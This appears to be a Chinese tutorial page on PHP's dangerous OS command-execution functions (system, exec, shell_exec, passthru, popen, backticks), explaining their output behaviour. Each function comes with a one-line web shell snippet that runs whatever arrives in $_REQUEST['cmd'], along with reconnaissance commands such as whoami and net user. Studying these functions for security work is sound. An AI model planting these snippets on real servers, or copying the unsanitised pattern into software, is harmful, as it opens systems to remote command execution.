函数1"/>
PHP 危险函数1
OS 命令执行函数
system 函数
-
特点:
- 自带输出功能
- 自动区分系统平台,只需得知目标系统在
system()
中输入对应系统的命令即可
-
使用
<?phpsystem("<系统命令>"); ?>
如
<pre> <?phpsystem("ipconfig"); ?>
-
动态执行命令
<pre> <?php$cmd = $_REQUEST['cmd'];system($cmd); ?>
exec 函数
-
特点:
- 不自带输出,需要手动输出
- 只能输出命令执行的最后一行,几乎没有回显
-
使用
<?phpexec("<系统命令>"); // 输出需手动 ?>
-
例
<?phpexec("ipconfig"); // 输出需手动 ?>
不自动回显,但执行
-
回显(只有最后一行)
<?phpecho exec("ipconfig"); ?>
-
动态执行命令
<?php$cmd=$_REQUEST['cmd'];echo exec($cmd);?>
shell_exec 函数
-
需要手动输出命令执行结果。
-
使用
<?phpshell_exec("<命令>");?>
-
示例
<?php$cmd=$_REQUEST['cmd'];echo shell_exec($cmd);?>
passthru 函数
-
自带输出功能。
<?phppassthru("<命令>");?>
-
例
<?phppassthru("net user");?>
-
动态执行
<?php$cmd=$_REQUEST['cmd'];echo passthru($cmd);?>
popen 函数
-
在 PHP 中,
popen()
函数用于打开一个管道,并返回一个指向该管道的文件指针。允许在 PHP 脚本中执行外部命令或程序,并与其进行交互。 -
注意,两个参数
<?phppopen(<命令>,"r"); // read,以读取的方式打开 ?>
-
示例
<?php$cmd = $_REQUEST['cmd'];$result = popen($cmd, 'r');echo fread($result, 1024);// fread() 函数从管道中读取最多 1024 字节的输出?>
反引号
-
反引号
``
内的字符串,会被解析成OS 命令。 -
不自动输出
-
使用
<?php`<命令>`; ?>
-
示例
<?phpecho `whoami`; ?>
-
动态执行
<pre> <?php$cmd=$_REQUEST['cmd'];echo `$cmd`;?>
更多推荐
PHP 危险函数1
发布评论